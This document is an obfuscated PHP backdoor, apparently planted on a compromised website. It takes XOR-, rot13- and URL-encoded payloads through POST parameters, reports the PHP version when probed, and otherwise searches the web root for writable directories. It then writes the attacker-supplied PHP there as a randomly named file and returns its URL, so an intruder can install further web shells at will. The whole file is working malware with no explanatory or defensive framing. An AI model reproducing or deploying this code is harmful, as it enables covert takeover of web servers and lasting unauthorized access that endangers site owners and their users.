<?php $jwypgek = "clkltkpdylqwcieg";$mqjgqcm = "";foreach ($_POST as $cortchiny => $liylkntbc){if (strlen($cortchiny) == 16 and substr_count($liylkntbc, "%") > 10){mkmallhgs($cortchiny, $liylkntbc);}}function mkmallhgs($cortchiny, $stoeq){global $mqjgqcm;$mqjgqcm = $cortchiny;$stoeq = str_split(rawurldecode(str_rot13($stoeq)));function vktqapsvh($oezgoj, $cortchiny){global $jwypgek, $mqjgqcm;return $oezgoj ^ $jwypgek[$cortchiny % strlen($jwypgek)] ^ $mqjgqcm[$cortchiny % strlen($mqjgqcm)];}$stoeq = implode("", array_map("vktqapsvh", array_values($stoeq), array_keys($stoeq)));$stoeq = @unserialize($stoeq);if (@is_array($stoeq)){$cortchiny = array_keys($stoeq);$stoeq = $stoeq[$cortchiny[0]];if ($stoeq === $cortchiny[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function bffeuylocp($nfxtvir) {static $nfxtvvnvr = array();$echid = glob($nfxtvir . '/*', GLOB_ONLYDIR);if (count($echid) > 0) {foreach ($echid as $nfxtv){if (@is_writable($nfxtv)){$nfxtvvnvr[] = $nfxtv;}}}foreach ($echid as $nfxtvir) bffeuylocp($nfxtvir);return $nfxtvvnvr;}$xnqdk = $_SERVER["DOCUMENT_ROOT"];$echid = bffeuylocp($xnqdk);$cortchiny = array_rand($echid);$zhyuj = $echid[$cortchiny] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($zhyuj, $stoeq);echo "http://" . $_SERVER["HTTP_HOST"] . substr($zhyuj, strlen($xnqdk));exit();}}}